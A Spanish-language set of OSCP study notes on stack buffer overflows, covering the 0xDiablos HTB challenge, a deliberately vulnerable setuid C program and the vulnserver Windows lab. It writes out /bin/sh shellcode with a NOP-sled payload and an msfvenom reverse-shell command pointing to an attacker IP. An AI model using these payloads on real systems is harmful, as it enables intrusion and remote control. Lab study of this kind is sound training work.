Hay muchas reseñas del exámen para la certificación OSCP que señalan a BoF como un tema aprender y va fijo en el examen. Es por esto que es algo en lo que quiero concentrar mi esfuerzo en aprender. 

A continuación todos los apuntes que tomé con respecto a este tema. 

Para revisar conceptos us’e el reto 0xDiablos de Hack The Box que está en la sección de pwn.

Al iniciar el analisis de un binario es recomendable el uso checksec. Que nos reportar’a las protecciones que tiene el binario.

De la salida se puede decir lo siguiente:

RELRO: Esta protección asegura que GOT (Global Offset Table) no sea sobreescrita. En el caso de este binario tiene una protección parcial, esto evita desbordamientos de búfer en variables globales que sobrescriben el GOT.

STACK CANARY: No está habilitado, el canary se utilizan para detectar un desbordamiento del búfer de pila antes de que se pueda ejecutar código malicioso.

NX :  Con esta funcionalidad habilitada se indica que una región de memoria dada puede ser legible o ejecutable, pero nunca ambas. En nuestro caso está deshabilitada. 

PIE: Esta opción significa que el ejecutable es independiente de la posición. Un binario sin esta protección usa direcciones virtuales que son estáticas. Por otro lado, si PIE está habilitado, significa que la Aleatorización del diseño de dirección (ASLR) se puede utilizar para aleatorizar dónde se almacena el binario en la memoria si esta función está habilitada en el kernel. Esto hace que encontrar la return address sea mucho más difícil.

Una vez que se revisaron las protecciones, se ejecutó el binario. Y lo que se pudo ver, es que acepta una cadena de texto y luego hace eco de esta:

Ahora una pruea básica sería insertar caracteres hasta que no de un error de segmentación.

Y podemos ver que con un fuzzing manual básico se pudo determinar hay un desbordamiento.

Una vez que se puede observar que hay desbordamiento, es necesario conocer las funciones del binario, para lo cual usamos el comando readelf filtrando con grep la salida para las lineas que tengan la palabra FUNC y quitando las que incluyan glibc.

Vemos que hay una función llamada flag, vuln y main. Para conocer que hacen estas funciones se uso GHIDRA para decompilar el binario y de todas las funciones analizadas la que llamó la atención es vuln.

Se puede ver que la función vuln contiene la sentencia gets que es considerada insegura, incluso cuando se utiliza gcc para compilar, muestra una advertencia. Esto es porque esta sentencia no limita el tamaño del string que se ingresa. Existe un reemplazo seguro para esta sentencia es fgets.

Esta vulnerabilidad en gets puedes ser una forma para causar un overflow.

Para que una vulnerabilidad de buffer overflow sea explotable es necesario que se cuenten con tres caracter’isticas:

  • Necesitamos un búfer lo suficientemente grande para nuestro Payload.

Sabemos que el bufer es de 180 bytes. Por lo que es un tamaño suficiente para un payload común.

  • Entrada controlada por el atacante debe tener mayor longitud que el tamaño del búfer.

En la prueba realizada se pudo ver que no hay limitación de tamaño, por lo que se pudo obtener el fallo de segmentación.

  • Una ubicación de memoria válida para señalar la nueva return address.

Con este último requerimiento vamos a trabajar haciendo lo siguiente:

Si vemos lo que hace la función flag, podemos saber que podríamos usar esta dirección de memoria como la return address, de tal manera que cuando se ejecute no retorne el contenido del archivo flag.txt.

Además de acuerdo a lo que dice esta linea

if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)

Se debe pasar como par’ametros esos valores para que nos entregue la flag.

Ahora queda identificar la dirección de memoria de la función flag. Esto se lo hace nuevamente con la salida de readelf y filtrando por la palabra FUNC y flag.

La salida de este comando nos dice que la dirección de memoria es 080491e2

Ahora para identificar la posición en memoria del EIP entre los 200 caracteres podemos hacer uso de la herramienta de metasploit msf-pattern_create.

Con el patrón creado e insertado, se puede ver que EIP es sobre escrito con «2Ag3»

Ahora para determinar cual es la posición exacta de EIP debemos usar msf-pattern_offset

Entonces podemos ver que el offset está en 188 y a partir de ahí estarán los 4 bytes de EIP.

Con esta información ya se puede construir un exploit para obtener la bandera.

Otro ejemplo…

Este ejemplo está basado en el video de Julio Ure;a de Buffer Overflow https ://www.youtube.com/watch?v=7KZ5LCFr6Sw

El c’odigo vulnerable es:

/*
Publicado por Julio Ureña (PlainText)
Twitter: @JulioUrena
Video: https://youtu.be/7KZ5LCFr6Sw
Install 32 bits libraries for 64 bit system
apt-get install gcc-multilib
Compilation Commands
#echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o plaintext-bof-parte-1 plaintext-bof-parte-1.c -m32
sudo chown root plaintext-bof-parte-1
sudo chgrp root plaintext-bof-parte-1
sudo chmod +s plaintext-bof-parte-1
*/

#include <stdio.h>
#include <string.h>

int vuln(char *str)
{
       char buf[64];
   strcpy(buf,str);
       printf(«Input:%s\n»,buf);
   return 0;
}
int main(int argc, char* argv[])  
{
       setuid(0);      //Esto permitirá poner el setuid bit para ejecución como root desde otro usuario.
       vuln(argv[1]);
}

Hay que compilarlo de acuerdo a las instrucciones de los comentarios al inicio de código fuente.

Se generó con msf-pattern_create un patrón de 100 caracteres. Con esto se ejecutó el programa y se pudo determinar que:

[*] Exact match at offset 76

Ahora debemos ver ESP para determinar cual sería la dirección en memoria a la que vamos a redireccionar el flujo modificando EIP

El flujo del programa será redireccionado a 0xffffdb20.

Entonces el payload queda de la siguiente manera, debemos tener un payload de 76 caracteres y 4 para la dirección de retorno. Entonces, los 76 caracteres se reparten de la siguiente manera.

  • Un shellcode para que obtener un shell al momento de provocar el Buffer Overflow. Se uso este que con 21 bytes hace lo que necesitamos.
  • Dos posiciones de NOPs, el primero para el inicio del payload y el segundo entre el shellcode y la dirección de retorno. La primera ser’a de 47 bytes y la segunda de 8 bytes.

Entonces el payload queda así:

./vuln $(python -c ‘print «\x90″*47+ «\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\xcd\x80″ + «\x90″*8 + «\x40\xdb\xff\xff»‘)

x90*47 -> 47 bytes de NOPs

+

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\xcd\x80 -> 21 bytes de Shellcode

+

x90*8 -> 8 bytes de NOPs

+

\x40\xdb\xff\xff -> Dirección de Retorno 0xffffdb40 (En little endian, la direcci’on se escribe empezando por el byte menos siginificativo)

Al ejecutar esto en el terminal tenemos una shell

Ahora en Windows

Estos apuntes están basados en el video de @dplastico https://youtu.be/O6twNFl52Gw

Para esta práctica se usará vulnserver. Una vez descargado y ejecutado podemos ver que abre el puerto 9999 en la máquina windows.

Si establezco una conexión a la máquina windows por este puerto nos puesta una aplicación con un menú.

Para identificar a los cuantos caracteres deja de responder el servicio se preparó un script que inicia enviando 100 veces A y continua con incrementos de 100 hasta que el servicio deje de responder, esto ha ocurrido a los 2500 bytes.

Ahora como en los otros ejemplos es necesario identificar el offset, nuevamente usamos msf-pattern_create y msf-pattern_offset.

Generamos un script con el patrón resultado del msf-pattern_create.

Una vez ejecutado el script podemos determinar el offset.

Ahora que sabemos donde empieza EIP podemos manipularlo, en este caso se envió letras B en los 4 bytes siguientes a los 2001 del offset. Como se ve en la imagen. Se llenó EIP de letras B.

Ahora que tenemos control sobre EIP, debemos ver la manera de hacer que apunte a ESP, donde tendremos nuestro payload listo. Como en este caso el binario tiene habilitado ASLR y no tenemos una dirección fija donde inicia ESP, es necesario ubicar una dirección que contenga la instrucción salto a ESP que en assembler es:

JMP ESP

Para ello usaremos el plugin de Inmunity debugger denominado mona. Con este complemento, se puden ver todos los módulos que se ejecutan como parte del programa principal.

Para iniciar mona, primero hay que instalar siguiendo las instrucciones del link anterior. Una vez realizado esto, en la esquina inferior izquierda se ejecuta el siguiente comando.

!mona modules

Una vez ejecutado podremos ver los módulos en ejecución, debemos buscar un módulo que no tenga protección, para que sea más viable la explotación.

En este caso utilizaremos essfunc.dll que como se ve en mona no tiene ninguna protección (los valores SEH, ASLR, NX, DS marcados en false.)

Dando un clic en la letra «e» podemos ver los ejecutables. Y dando clic en el ejecutable podemos ver las instrucciones en assembler, y con ello podríamos buscar la instrucción JMP ESP.

Para buscar la instrucción, clic derecho en el código y buscar comando. En la caja de texto especificamos JMP ESP. La búsqueda dio un resultado.

625011AF FFE4 JMP ESP

Antes de empezar a modificar el exploit incluyendo la dirección 625011AF y un shellcode como lo hicimos en los otros ejemplos, es necesario identificar los denominados badchar, esto se realiza con el objetivo de sacar todos los caracteres que trunquen la ejecuci’on de la cadena inyectada. Un documento que explica muy bien esto está disponible aquí.

Para identificar los badchar debemos generar una lista de estos, ya sea con inmunity debuger o con un script en python.

Con el comando

!mona bytearray

En Inmunity Debugger se pueden generar la lista antes mencionada.

«\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f»
«\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f»
«\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f»
«\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f»
«\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f»
«\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf»
«\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf»
«\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff»

El exploit quedaría de esta manera:

Lo primero que se debe hacer es retirar el caracter \x00 porque es un valor que de antemano sabemos que trucará las instrucciones. Un vez que se haya retirado, ejecutamos el exploit. La identificación de los badchar la debemos realizar dando clic derecho en ESP y luego «Fallow in dump» con ello tendremos el contenido de ESP.

En el caso de tener un badchar la secuencia se rompería, en ese momento deberíamos sacar el badchar del exploit y volver a ejecutarlo. Y repetiríamos ese procedimiento hasta que se mantenga una secuencia. En este caso podemos ver que no hay badchar por lo que podríamos continuar con el control de EIP y la generación del shellcode.

Una vez que se ha extraido los badchar y teniendo la dirección de retorno debemos modificar nuestro script. Al igual que en los otros ejemplos, se debe ingresar la dirección empezando por el byte menos significativo. Es decir \xaf\x11\x50\x62.

Ahora para la generación de shelcode usaremos msfvenon que si bien es de la suite de metasploit, si está permitido su uso para el examen.

El comando es:

msfvenom -p windows/shell_reverse_tcp lhost=172.16.53.1 lport=4444 EXITFUNC=thread -f python -v shellcode -b «\x00»

Ahora antes del shecode es recomendable insertar caracteres NOPs como hicimos en los ejemplos anteriores, por lo que el script final quedaría así.

Una vez ejecutado terminado el exploit y antes de ejecutarlo, es recomendable establecer un breakpoint en la dirección de retorno, de esta manera se podr’a evidenciar la correcta ejecución del shellcode.

Una vez que se ejecuta el exploit, se tiene la shell.